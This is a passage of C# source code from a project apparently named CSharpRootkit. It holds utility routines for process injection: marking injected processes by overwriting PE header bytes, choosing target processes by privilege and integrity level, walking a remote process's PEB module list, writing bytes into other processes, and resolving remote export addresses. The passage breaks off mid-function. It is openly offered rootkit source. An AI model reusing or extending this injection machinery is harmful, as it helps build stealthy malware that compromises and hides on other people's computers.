148 | public static void ResumeAllThreads(IntPtr[] threadHandles)
149 | {
150 | foreach (IntPtr i in threadHandles)
151 | {
152 | NativeMethods.ResumeThread(i);
153 | }
154 | }
155 |
156 | public static void CloseAllThreadHandles(IntPtr[] threadHandles)
157 | {
158 | foreach (IntPtr i in threadHandles)
159 | {
160 | NativeMethods.CloseHandle(i);
161 | }
162 | }
163 |
164 | private static string GetAsmFromDissemableOutput(string asmOut)
165 | {
166 | return string.Join(" ", asmOut.Split(' ').Skip(2)).Trim('\n', ' ');
167 | }
168 |
169 | public static int GetInstructionSize(ulong address)
170 | {
171 | if (!CanGetInstructionSize)
172 | {
173 | throw new Exception("The debugger could not attach to the process to get the InstructionSize");
174 | }
175 |
176 | StringBuilder asmString = new StringBuilder((int)InstructionSizeString);
177 |
178 | uint DissambleResult = DebugControl.Disassemble(address, 0, asmString, InstructionSizeString, out uint DisassemblySize, out ulong EndOffset);
179 |
180 | if (DissambleResult != 0 && DissambleResult != 1)
181 | {
182 | throw new Exception("There was an error getting the length! Errorcode: " + Marshal.GetLastWin32Error());
183 | }
184 |
185 | return (int)(EndOffset - address);
186 | }
187 |
188 | public static Tuple GetInstructionSizeAndString(ulong address)
189 | {
190 | if (!CanGetInstructionSize)
191 | {
192 | throw new Exception("The debugger could not attach to the process to get the InstructionSize");
193 | }
194 |
195 | StringBuilder asmString = new StringBuilder((int)InstructionSizeString);
196 |
197 | uint DissambleResult = DebugControl.Disassemble(address, 0, asmString, InstructionSizeString, out uint DisassemblySize, out ulong EndOffset);
198 |
199 | if (DissambleResult != 0 && DissambleResult != 1)
200 | {
201 | throw new Exception("There was an error getting the length! Errorcode: " + Marshal.GetLastWin32Error());
202 | }
203 |
204 | string asm = GetAsmFromDissemableOutput(asmString.ToString());
205 |
206 | return new Tuple((int)(EndOffset - address), asm);
207 | }
208 |
209 | public static IntPtr GetFunctionPtr(string LibraryName, string FunctionName, bool LoadDllIfNotLoaded=true)
210 | {
211 | IntPtr hModule = NativeMethods.GetModuleHandleW(LibraryName);
212 | if (hModule == IntPtr.Zero && !LoadDllIfNotLoaded)
213 | {
214 | throw new Exception("Couldnt get the module handle, are you sure the library is loaded?");
215 | }
216 | if (hModule == IntPtr.Zero)
217 | {
218 | hModule = NativeMethods.LoadLibraryW(LibraryName);
219 | }
220 | if (hModule == IntPtr.Zero)
221 | {
222 | throw new Exception("Couldnt load the library, are you sure the dll library is accessable?");
223 | }
224 | IntPtr FunctionPtr = NativeMethods.GetProcAddress(hModule, FunctionName);
225 | if (FunctionPtr == IntPtr.Zero)
226 | {
227 | throw new Exception("Couldnt get the function from the Library, are you sure it exists?");
228 | }
229 | return FunctionPtr;
230 | }
231 |
232 | public static bool GetFilePathOfProcess(int pid, out string FilePath)
233 | {
234 | FilePath = null;
235 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid);
236 | if (ProcessHandle == IntPtr.Zero)
237 | {
238 | return false;
239 | }
240 | bool result = GetFilePathOfProcess(ProcessHandle, out FilePath);
241 | NativeMethods.CloseHandle(ProcessHandle);
242 | return result;
243 | }
244 |
245 | public static bool GetFilePathOfProcess(IntPtr hProcess, out string FilePath)
246 | {
247 | FilePath = null;
248 | uint bufferSize = 32767+2;//+2 for the null bytes?
249 | StringBuilder buffer = new StringBuilder((int)bufferSize);
250 |
251 | if (NativeMethods.QueryFullProcessImageNameW(hProcess, 0, buffer, ref bufferSize))
252 | {
253 | FilePath = buffer.ToString(0, (int)bufferSize);
254 | return true;
255 | }
256 |
257 | return false;
258 | }
259 |
260 | public static bool ComparePaths(string path1, string path2)
261 | {
262 | if (path1 == null || path2 == null)
263 | {
264 | return path1 == path2;
265 | }
266 | string directory1 = Path.GetDirectoryName(path1);
267 | string directory2 = Path.GetDirectoryName(path2);
268 | string fileName1 = Path.GetFileName(path1);
269 | string fileName2 = Path.GetFileName(path2);
270 | return directory1.Equals(directory2, StringComparison.InvariantCultureIgnoreCase) && fileName1.Equals(fileName2, StringComparison.InvariantCultureIgnoreCase);
271 | }
272 |
273 | public static bool setInjectionFlag(out bool isAlreadyInjected)
274 | {
275 | object appDomainData = AppDomain.CurrentDomain.GetData("ProcIsInjected" + NativeMethods.GetCurrentProcessId().ToString());
276 | if (appDomainData != null && appDomainData.GetType() == typeof(bool) && (bool)appDomainData)
277 | {
278 | isAlreadyInjected = true;
279 | return false;
280 | }
281 | AppDomain.CurrentDomain.SetData("ProcIsInjected"+NativeMethods.GetCurrentProcessId().ToString(), true);
282 |
283 | isAlreadyInjected = false;
284 | IntPtr module = NativeMethods.GetModuleHandleW(null);
285 | if (module == IntPtr.Zero)
286 | {
287 | return false;
288 | }
289 |
290 | IntPtr headerLocation = module + Marshal.SizeOf(typeof(InternalStructs.IMAGE_DOS_HEADER));
291 |
292 | if (Marshal.PtrToStringAnsi(headerLocation, headerString.Length) == headerString)
293 | {
294 | isAlreadyInjected = true;
295 | return false;
296 | }
297 |
298 | if (!NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, PAGE_READWRITE, out uint outProtect))
299 | {
300 | return false;
301 | }
302 |
303 | Marshal.Copy(headerLocation, headerBackup, 0, headerBackup.Length);
304 |
305 | IntPtr headerStringPtr = Marshal.StringToHGlobalAnsi(headerString);
306 | NativeMethods.CopyMemory(headerLocation, headerStringPtr, (UIntPtr)headerString.Length);
307 |
308 | Marshal.FreeHGlobal(headerStringPtr);
309 |
310 | NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, outProtect, out uint _);
311 |
312 | return true;
313 |
314 |
315 | }
316 |
317 | public static bool removeInjectionFlag()
318 | {
319 | AppDomain.CurrentDomain.SetData("ProcIsInjected" + NativeMethods.GetCurrentProcessId().ToString(), false);
320 | IntPtr module = NativeMethods.GetModuleHandleW(null);
321 | if (module == IntPtr.Zero)
322 | {
323 | return false;
324 | }
325 |
326 | IntPtr headerLocation = module + Marshal.SizeOf(typeof(InternalStructs.IMAGE_DOS_HEADER));
327 |
328 | if (!NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, PAGE_READWRITE, out uint outProtect))
329 | {
330 | return false;
331 | }
332 |
333 | Marshal.Copy(headerBackup, 0, headerLocation, headerBackup.Length);
334 |
335 | NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, outProtect, out uint _);
336 |
337 | return true;
338 |
339 | }
340 |
341 | public static bool processHasInjectionFlag(IntPtr hProcess, out bool isInjected)
342 | {
343 | isInjected = false;
344 |
345 | ulong module;
346 | bool is64Bit = IsProcess64Bit(hProcess);
347 | try
348 | {
349 | if (is64Bit)
350 | {
351 | module = Utils64.GetRemoteModuleHandle64Bit(hProcess, null);
352 | }
353 | else
354 | {
355 | module = Utils32.GetRemoteModuleHandle32Bit(hProcess, null);
356 | }
357 | }
358 | catch
359 | {
360 | return false;
361 | }
362 | if (module == 0)
363 | {
364 | return false;
365 | }
366 |
367 | ulong headerLocation = module + (uint)Marshal.SizeOf(typeof(InternalStructs.IMAGE_DOS_HEADER));
368 |
369 | IntPtr buffer = Marshal.AllocHGlobal(headerString.Length + 1);//+1 for the null terminator
370 |
371 | if ((Environment.Is64BitProcess && is64Bit) || (!Environment.Is64BitProcess && !is64Bit) || (Environment.Is64BitProcess && !is64Bit)) //(64 && 64) || (32 && 32) || (64 && 32)
372 | {
373 | UIntPtr readout = UIntPtr.Zero;
374 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)headerLocation, buffer, (UIntPtr)(headerString.Length + 1), ref readout))
375 | {
376 | Marshal.FreeHGlobal(buffer);
377 | return false;
378 | }
379 | }
380 | else //(32 && 64)
381 | {
382 | ulong readout = 0;
383 | if (SpecialNativeMethods.ReadProcessMemory64From32(hProcess, headerLocation, buffer, (ulong)(headerString.Length + 1), ref readout) != 0)
384 | {
385 | Marshal.FreeHGlobal(buffer);
386 | return false;
387 | }
388 | }
389 |
390 | if (Marshal.PtrToStringAnsi(buffer, headerString.Length) == headerString)
391 | {
392 | isInjected = true;
393 | }
394 | Marshal.FreeHGlobal(buffer);
395 |
396 | return true;
397 | }
398 |
399 | public static bool IsProcess64Bit(IntPtr handle)
400 | {
401 | bool result;
402 | try
403 | {
404 | NativeMethods.IsWow64Process(handle, out result);
405 | }
406 | catch
407 | {
408 | return Environment.Is64BitOperatingSystem;
409 | }
410 | return !result;
411 | }
412 |
413 | public static bool IsAdmin()
414 | {
415 | bool isElevated;
416 | using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
417 | {
418 | WindowsPrincipal principal = new WindowsPrincipal(identity);
419 | isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
420 | }
421 | return isElevated;
422 | }
423 |
424 | public static bool IsProcessAdmin(int pid, out bool IsAdmin)
425 | {
426 | IsAdmin = false;
427 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid);
428 | if (ProcessHandle == IntPtr.Zero)
429 | {
430 | return false;
431 | }
432 | bool result = IsProcessAdmin(ProcessHandle, out IsAdmin);
433 | NativeMethods.CloseHandle(ProcessHandle);
434 | return result;
435 | }
436 |
437 | public static bool IsProcessAdmin(IntPtr ProcessHandle, out bool IsAdmin)
438 | {
439 | IsAdmin = false;
440 | if (!NativeMethods.OpenProcessToken(ProcessHandle, TOKEN_QUERY, out IntPtr tokenHandle))
441 | {
442 | return false;
443 | }
444 | int elevationSize = Marshal.SizeOf(typeof(InternalStructs.TOKEN_ELEVATION));
445 | IntPtr elevationPtr = Marshal.AllocHGlobal(elevationSize);
446 | if (NativeMethods.GetTokenInformation(tokenHandle, TokenElevation, elevationPtr, elevationSize, out int returnLength) && returnLength == elevationSize)
447 | {
448 | InternalStructs.TOKEN_ELEVATION elevationStruct = Marshal.PtrToStructure(elevationPtr);
449 | Marshal.FreeHGlobal(elevationPtr);
450 | NativeMethods.CloseHandle(tokenHandle);
451 | IsAdmin=elevationStruct.TokenIsElevated != 0;
452 | return true;
453 | }
454 | Marshal.FreeHGlobal(elevationPtr);
455 | NativeMethods.CloseHandle(tokenHandle);
456 | return false;
457 | }
458 |
459 | public static bool IsProcessCritical(IntPtr ProcessHandle, out bool IsCritical)
460 | {
461 | return NativeMethods.IsProcessCritical(ProcessHandle, out IsCritical);
462 | }
463 |
464 | public static bool IsProcessCritical(int pid, out bool IsCritical)
465 | {
466 | IsCritical = false;
467 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid);
468 | if (ProcessHandle == IntPtr.Zero)
469 | {
470 | return false;
471 | }
472 | bool result = IsProcessCritical(ProcessHandle, out IsCritical);
473 | NativeMethods.CloseHandle(ProcessHandle);
474 | return result;
475 | }
476 |
477 | public static bool GetProcessIntergrityLevel(IntPtr ProcessHandle, out uint IntergrityLevel)
478 | {
479 | IntergrityLevel = 0;
480 | if (!NativeMethods.OpenProcessToken(ProcessHandle, TOKEN_QUERY, out IntPtr tokenHandle))
481 | {
482 | return false;
483 | }
484 | int tokenMandatoryLabelSize = Marshal.SizeOf(typeof(InternalStructs.TOKEN_MANDATORY_LABEL))+100;//+100 as it needs some extra data for some reason.
485 | IntPtr tokenMandatoryLabelPtr = Marshal.AllocHGlobal(tokenMandatoryLabelSize);
486 | if (NativeMethods.GetTokenInformation(tokenHandle, TokenIntegrityLevel, tokenMandatoryLabelPtr, tokenMandatoryLabelSize, out int returnLength))
487 | {
488 | InternalStructs.TOKEN_MANDATORY_LABEL tokenMandatoryLabelStruct = Marshal.PtrToStructure(tokenMandatoryLabelPtr);
489 |
490 | IntergrityLevel=Marshal.PtrToStructure(NativeMethods.GetSidSubAuthority(tokenMandatoryLabelStruct.Label.Sid, (uint)Marshal.ReadByte(NativeMethods.GetSidSubAuthorityCount(tokenMandatoryLabelStruct.Label.Sid)) - 1)).Value;
491 |
492 | NativeMethods.CloseHandle(tokenHandle);
493 | Marshal.FreeHGlobal(tokenMandatoryLabelPtr);
494 | return true;
495 | }
496 | Marshal.FreeHGlobal(tokenMandatoryLabelPtr);
497 | NativeMethods.CloseHandle(tokenHandle);
498 | return false;
499 | }
500 |
501 | public static bool GetProcessIntergrityLevel(int pid, out uint IntergrityLevel)
502 | {
503 | IntergrityLevel = 0;
504 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid);
505 | if (ProcessHandle == IntPtr.Zero)
506 | {
507 | return false;
508 | }
509 | bool result = GetProcessIntergrityLevel(ProcessHandle, out IntergrityLevel);
510 | NativeMethods.CloseHandle(ProcessHandle);
511 | return result;
512 | }
513 |
514 | public static bool ShouldInject(IntPtr ProcessHandle)
515 | {
516 | if (!IsAdmin() && IsProcessAdmin(ProcessHandle, out bool IsprocAdmin) && IsprocAdmin)
517 | {
518 | return false;
519 | }
520 |
521 | if (!processHasInjectionFlag(ProcessHandle, out bool isInjected) || isInjected)
522 | {
523 | return false;
524 | }
525 |
526 | if (!IsProcessCritical(ProcessHandle, out bool isCritical) || isCritical)
527 | {
528 | return false;
529 | }
530 | if (!GetProcessIntergrityLevel(ProcessHandle, out uint IntergrityLevel) || IntergrityLevel < (uint)InternalStructs.TokenIntegrityLevel.Medium || IntergrityLevel >= (uint)InternalStructs.TokenIntegrityLevel.System)//only allow injection into medium, medium+ and high process. the others can cause error within c#
531 | {
532 | return false;
533 | }
534 | return true;
535 | }
536 | public static bool GetParentProcessIdFromHandle(IntPtr handle, out int procId)
537 | {
538 | procId = 0;
539 | PROCESS_BASIC_INFORMATION procInfo = new PROCESS_BASIC_INFORMATION();
540 | uint readOut = 0;
541 | if (NativeMethods.NtQueryPbi64From64(handle, PROCESSINFOCLASS.ProcessBasicInformation, ref procInfo, (uint)Marshal.SizeOf(procInfo), ref readOut) == 0)
542 | {
543 | procId = (int)procInfo.UniqueProcessId;
544 | return true;
545 | }
546 | return false;
547 | }
548 |
549 | public static bool GetParentProcess(int pid, out int parentProc)
550 | {
551 | parentProc = 0;
552 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, false, (uint)pid);
553 | if (ProcessHandle == IntPtr.Zero)
554 | {
555 | return false;
556 | }
557 | bool result = GetParentProcess(ProcessHandle, out parentProc);
558 | NativeMethods.CloseHandle(ProcessHandle);
559 | return result;
560 | }
561 |
562 | public static bool GetParentProcess(IntPtr handle, out int parentProc)
563 | {
564 | parentProc = 0;
565 | PROCESS_BASIC_INFORMATION procInfo = new PROCESS_BASIC_INFORMATION();
566 | uint readOut = 0;
567 | if (NativeMethods.NtQueryPbi64From64(handle, PROCESSINFOCLASS.ProcessBasicInformation, ref procInfo, (uint)Marshal.SizeOf(procInfo), ref readOut) == 0)
568 | {
569 | parentProc = (int)procInfo.InheritedFromUniqueProcessId;
570 | return true;
571 | }
572 | return false;
573 | }
574 |
575 | public static bool ShouldInject(int pid)
576 | {
577 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, false, (uint)pid);
578 | if (ProcessHandle == IntPtr.Zero)
579 | {
580 | return false;
581 | }
582 | bool result = ShouldInject(ProcessHandle);
583 | NativeMethods.CloseHandle(ProcessHandle);
584 | return result;
585 | }
586 |
587 | public static bool DupHandle(int sourceProc, IntPtr sourceHandle, out IntPtr newHandle)
588 | {
589 | newHandle = IntPtr.Zero;
590 | uint PROCESS_DUP_HANDLE = 0x0040;
591 | uint DUPLICATE_SAME_ACCESS = 0x00000002;
592 | IntPtr procHandle = NativeMethods.OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProc);
593 | if (procHandle == IntPtr.Zero)
594 | {
595 | return false;
596 | }
597 |
598 | IntPtr targetHandle = IntPtr.Zero;
599 |
600 | if (!NativeMethods.DuplicateHandle(procHandle, sourceHandle, NativeMethods.GetCurrentProcess(), ref targetHandle, 0, false, DUPLICATE_SAME_ACCESS))
601 | {
602 | int x=Marshal.GetLastWin32Error();
603 | NativeMethods.CloseHandle(procHandle);
604 | return false;
605 |
606 | }
607 | newHandle = targetHandle;
608 | NativeMethods.CloseHandle(procHandle);
609 | return true;
610 | }
611 |
612 | public static T BytesToStruct(byte[] StructData, int offset = 0)
613 | {
614 | int structSize = Marshal.SizeOf();
615 | IntPtr dataBuffer = Marshal.AllocHGlobal(structSize);
616 |
617 | try
618 | {
619 | Marshal.Copy(StructData, offset, dataBuffer, structSize);
620 | return Marshal.PtrToStructure(dataBuffer);
621 | }
622 | finally
623 | {
624 | Marshal.FreeHGlobal(dataBuffer);
625 | }
626 | }
627 |
628 | public static byte[] StructToBytes(T StructData)
629 | {
630 | int dataSize = Marshal.SizeOf(StructData);
631 | IntPtr dataBuffer = Marshal.AllocHGlobal(dataSize);
632 |
633 | try
634 | {
635 | Marshal.StructureToPtr(StructData, dataBuffer, false);
636 | byte[] result = new byte[dataSize];
637 | Marshal.Copy(dataBuffer, result, 0, dataSize);
638 | return result;
639 | }
640 | finally
641 | {
642 | Marshal.FreeHGlobal(dataBuffer);
643 | }
644 | }
645 |
646 | public static byte[] CombineByteArrays(params byte[][] arrays)
647 | {
648 | byte[] rv = new byte[arrays.Sum(a => a.Length)];
649 | int offset = 0;
650 | foreach (byte[] array in arrays)
651 | {
652 | Buffer.BlockCopy(array, 0, rv, offset, array.Length);
653 | offset += array.Length;
654 | }
655 | return rv;
656 | }
657 |
658 |
659 | public static string RandomString(int length)
660 | {
661 | string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
662 | return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
663 | }
664 |
665 | public static int RandomInt()
666 | {
667 | return random.Next();
668 | }
669 |
670 | public static bool OpenMemoryMappedFile(string filename, out MemoryMappedFile memFile)
671 | {
672 | memFile = null;
673 | try
674 | {
675 | memFile = MemoryMappedFile.OpenExisting(filename, MemoryMappedFileRights.ReadWrite);
676 | return true;
677 | }
678 | catch (FileNotFoundException)
679 | {
680 | return false;
681 | }
682 | }
683 |
684 | }
685 | }
686 |
--------------------------------------------------------------------------------
/CSharpRootkit/Utils/Utils32.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using static CSharpRootkit.InternalStructs;
8 |
9 | namespace CSharpRootkit
10 | {
11 | public static class Utils32
12 | {
13 |
14 | public static uint GetRemoteModuleHandle32Bit(IntPtr hProcess, string DllBaseName, int max_flink_count = 600)
15 | {
16 | if (hProcess == IntPtr.Zero)
17 | {
18 | throw new Exception("The supplied hProcess is Null!");
19 | }
20 | InternalStructs.PROCESS_BASIC_INFORMATION PBI = new InternalStructs.PROCESS_BASIC_INFORMATION();
21 | uint PBI_size = (uint)Marshal.SizeOf(PBI);
22 | uint NTread_out = 0;
23 | UIntPtr Rread_out = UIntPtr.Zero;
24 | int errcode = NativeMethods.NtQueryPbi32(hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out);
25 |
26 | if (errcode != 0)
27 | {
28 | throw new Exception("couldnt read PBI. ERR CODE: " + errcode);
29 | }
30 |
31 | if (PBI.PebBaseAddress == IntPtr.Zero)
32 | {
33 | return 0;
34 | }
35 |
36 | IntPtr ldrAddr = InternalStructs32.GetLdr32(PBI.PebBaseAddress);
37 | int pLdrDataSize = Marshal.SizeOf(typeof(UINTRESULT));
38 | IntPtr pLdrData = Marshal.AllocHGlobal(pLdrDataSize);
39 |
40 |
41 | if (!NativeMethods.ReadProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out))
42 | {
43 | Marshal.FreeHGlobal(pLdrData);
44 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error());
45 | }
46 |
47 | IntPtr pLdr32 = (IntPtr)Marshal.PtrToStructure(pLdrData).Value;
48 | Marshal.FreeHGlobal(pLdrData);
49 |
50 | if (pLdr32 == IntPtr.Zero)
51 | {
52 | return 0;
53 | }
54 |
55 | if (!NativeMethods.ReadProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out))
56 | {
57 | Marshal.FreeHGlobal(pLdrData);
58 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error());
59 | }
60 |
61 | InternalStructs32.PEB_LDR_DATA32 ldr32;
62 |
63 | int ldr32Size = Marshal.SizeOf(typeof(InternalStructs32.PEB_LDR_DATA32));
64 | IntPtr ldr32addr = Marshal.AllocHGlobal(ldr32Size);
65 |
66 | if (!NativeMethods.ReadProcessMemory(hProcess, pLdr32, ldr32addr, (UIntPtr)ldr32Size, ref Rread_out))
67 | {
68 | Marshal.FreeHGlobal(ldr32addr);
69 | throw new Exception("couldnt read ldr32. ERR CODE: " + Marshal.GetLastWin32Error());
70 | }
71 |
72 | ldr32 = Marshal.PtrToStructure(ldr32addr);
73 | Marshal.FreeHGlobal(ldr32addr);
74 |
75 | uint entry = ldr32.InLoadOrderModuleList.Flink;
76 | uint head = (uint)ldrAddr + (uint)Marshal.OffsetOf(typeof(InternalStructs32.PEB_LDR_DATA32), "InLoadOrderModuleList");
77 |
78 | int LdrDataTableSize = Marshal.SizeOf(typeof(InternalStructs32.LDR_DATA_TABLE_ENTRY32_SNAP));
79 | IntPtr LdrDataTableAddr = Marshal.AllocHGlobal(LdrDataTableSize);
80 | uint hModule = 0;
81 | uint count = 0;
82 | while (entry != head && count < max_flink_count)
83 | {
84 | count++;
85 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)entry, LdrDataTableAddr, (UIntPtr)LdrDataTableSize, ref Rread_out))
86 | {
87 | break;
88 | }
89 |
90 | InternalStructs32.LDR_DATA_TABLE_ENTRY32_SNAP LdrDataTable = Marshal.PtrToStructure(LdrDataTableAddr);
91 |
92 | if (DllBaseName == null)
93 | {
94 | hModule = LdrDataTable.DllBase;
95 | break;
96 | }
97 |
98 |
99 | entry = LdrDataTable.InLoadOrderLinks.Flink;
100 |
101 | if ((LdrDataTable.BaseDllName.Length / 2) != DllBaseName.Length)
102 | {
103 | continue;
104 | }
105 |
106 | IntPtr currentModuleNameBufferAddr = Marshal.AllocHGlobal(LdrDataTable.BaseDllName.Length);
107 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)LdrDataTable.BaseDllName.Buffer, currentModuleNameBufferAddr, (UIntPtr)LdrDataTable.BaseDllName.Length, ref Rread_out))
108 | {
109 | Marshal.FreeHGlobal(currentModuleNameBufferAddr);
110 | break;
111 | }
112 | string baseDllname = Marshal.PtrToStringUni(currentModuleNameBufferAddr, LdrDataTable.BaseDllName.Length / 2);
113 | Marshal.FreeHGlobal(currentModuleNameBufferAddr);
114 | if (baseDllname.ToLower() == DllBaseName.ToLower())
115 | {
116 | hModule = LdrDataTable.DllBase;
117 | break;
118 | }
119 | }
120 | Marshal.FreeHGlobal(LdrDataTableAddr);
121 | return hModule;
122 | }
123 |
124 | private static string ReadRemoteAnsiString32(IntPtr hProcess, IntPtr lpAddress)
125 | {
126 | string result = "";
127 | UIntPtr Rread_out = UIntPtr.Zero;
128 | IntPtr byteBuffer = Marshal.AllocHGlobal(1);
129 | while (true)
130 | {
131 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)lpAddress, byteBuffer, (UIntPtr)1, ref Rread_out))
132 | {
133 | Marshal.FreeHGlobal(byteBuffer);
134 | throw new Exception("couldnt read AnsiString. ERR CODE: " + Marshal.GetLastWin32Error());
135 | }
136 | byte Ch = Marshal.ReadByte(byteBuffer);
137 | if (Ch == 0)
138 | {
139 | break;
140 | }
141 | result += (char)Ch;
142 | lpAddress += 1;
143 | }
144 | return result;
145 | }
146 |
147 | public static bool WriteBytesToProcess32(IntPtr handle, IntPtr address, byte[] data)
148 | {
149 | IntPtr dataPtr = Marshal.AllocHGlobal(data.Length);
150 | Marshal.Copy(data, 0, dataPtr, data.Length);
151 | bool result = NativeMethods.WriteProcessMemory(handle, address, dataPtr, (IntPtr)data.Length, out IntPtr BytesWritten);
152 | Marshal.FreeHGlobal(dataPtr);
153 | return result && BytesWritten == (IntPtr)data.Length;
154 | }
155 |
156 | public static uint GetNtHeader32Addr(IntPtr hProcess, uint hModule)
157 | {
158 | int dosHeaderSize = Marshal.SizeOf(typeof(IMAGE_DOS_HEADER));
159 | IntPtr dosHeaderaddr = Marshal.AllocHGlobal(dosHeaderSize);
160 | UIntPtr Rread_out = UIntPtr.Zero;
161 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)hModule, dosHeaderaddr, (UIntPtr)dosHeaderSize, ref Rread_out))
162 | {
163 | Marshal.FreeHGlobal(dosHeaderaddr);
164 | throw new Exception("couldnt read DosHeader. ERR CODE: " + Marshal.GetLastWin32Error());
165 | }
166 | IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(dosHeaderaddr);
167 | Marshal.FreeHGlobal(dosHeaderaddr);
168 | return hModule + (uint)dosHeader.e_lfanew;
169 | }
170 |
171 | public static InternalStructs32.IMAGE_NT_HEADERS32 GetNtHeader32(IntPtr hProcess, uint hModule)
172 | {
173 | UIntPtr Rread_out = UIntPtr.Zero;
174 | int ntHeaderSize = Marshal.SizeOf(typeof(InternalStructs32.IMAGE_NT_HEADERS32));
175 | IntPtr ntHeaderaddr = Marshal.AllocHGlobal(ntHeaderSize);
176 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)GetNtHeader32Addr(hProcess, hModule), ntHeaderaddr, (UIntPtr)ntHeaderSize, ref Rread_out))
177 | {
178 | Marshal.FreeHGlobal(ntHeaderaddr);
179 | throw new Exception("couldnt read NTHeader. ERR CODE: " + Marshal.GetLastWin32Error());
180 | }
181 | InternalStructs32.IMAGE_NT_HEADERS32 ntHeader = Marshal.PtrToStructure(ntHeaderaddr);
182 | Marshal.FreeHGlobal(ntHeaderaddr);
183 | return ntHeader;
184 | }
185 |
186 | public static uint GetRemoteProcAddress32Bit(IntPtr hProcess, uint hModule, string FunctionName)
187 | {
188 | if (hModule == 0)
189 | {
190 | throw new Exception("couldnt read hModule is null or 0.");
191 | }
192 | UIntPtr Rread_out = UIntPtr.Zero;
193 | InternalStructs32.IMAGE_NT_HEADERS32 ntHeader = GetNtHeader32(hProcess, hModule);
194 |
195 | int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
196 |
197 | IMAGE_DATA_DIRECTORY dataTable = ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
198 |
199 | if (dataTable.Size == 0 || dataTable.VirtualAddress == 0)
200 | {
201 | return 0;
202 | }
203 |
204 | int explortDirSize = Marshal.SizeOf(typeof(IMAGE_EXPORT_DIRECTORY));
205 | IntPtr exportDiraddr = Marshal.AllocHGlobal(explortDirSize);
206 |
207 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + dataTable.VirtualAddress), exportDiraddr, (UIntPtr)explortDirSize, ref Rread_out))
208 | {
209 | Marshal.FreeHGlobal(exportDiraddr);
210 | throw new Exception("couldnt read IMAGE EXPORT DIRECTORY. ERR CODE: " + Marshal.GetLastWin32Error());
211 | }
212 |
213 | IMAGE_EXPORT_DIRECTORY exportDir = Marshal.PtrToStructure(exportDiraddr);
214 | Marshal.FreeHGlobal(exportDiraddr);
215 | if (exportDir.NumberOfNames == 0)
216 | {
217 | return 0;
218 | }
219 |
220 | int rvaTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(int));
221 | IntPtr rvaTableAddr = Marshal.AllocHGlobal(rvaTableSize);
222 |
223 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + exportDir.AddressOfFunctions), rvaTableAddr, (UIntPtr)rvaTableSize, ref Rread_out))
224 | {
225 | Marshal.FreeHGlobal(rvaTableAddr);
226 | throw new Exception("couldnt read RVA table. ERR CODE: " + Marshal.GetLastWin32Error());
227 | }
228 | uint[] rvaTable = new uint[(int)exportDir.NumberOfFunctions];
229 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++)
230 | {
231 | rvaTable[i] = Marshal.PtrToStructure(rvaTableAddr + (i * 4)).Value;
232 | }
233 | Marshal.FreeHGlobal(rvaTableAddr);
234 |
235 |
236 | int ordTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(short));
237 | IntPtr ordTableAddr = Marshal.AllocHGlobal(ordTableSize);
238 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + exportDir.AddressOfNameOrdinals), ordTableAddr, (UIntPtr)ordTableSize, ref Rread_out))
239 | {
240 | Marshal.FreeHGlobal(ordTableAddr);
241 | throw new Exception("couldnt read ORD table. ERR CODE: " + Marshal.GetLastWin32Error());
242 | }
243 | ushort[] ordTable = new ushort[(int)exportDir.NumberOfFunctions];
244 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++)
245 | {
246 | ordTable[i] = Marshal.PtrToStructure(ordTableAddr + (i * 2)).Value;
247 | }
248 | Marshal.FreeHGlobal(ordTableAddr);
249 |
250 |
251 | int nameTableSize = (int)exportDir.NumberOfNames * Marshal.SizeOf(typeof(int));
252 | IntPtr nameTableAddr = Marshal.AllocHGlobal(nameTableSize);
253 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + exportDir.AddressOfNames), nameTableAddr, (UIntPtr)nameTableSize, ref Rread_out))
254 | {
255 | Marshal.FreeHGlobal(nameTableAddr);
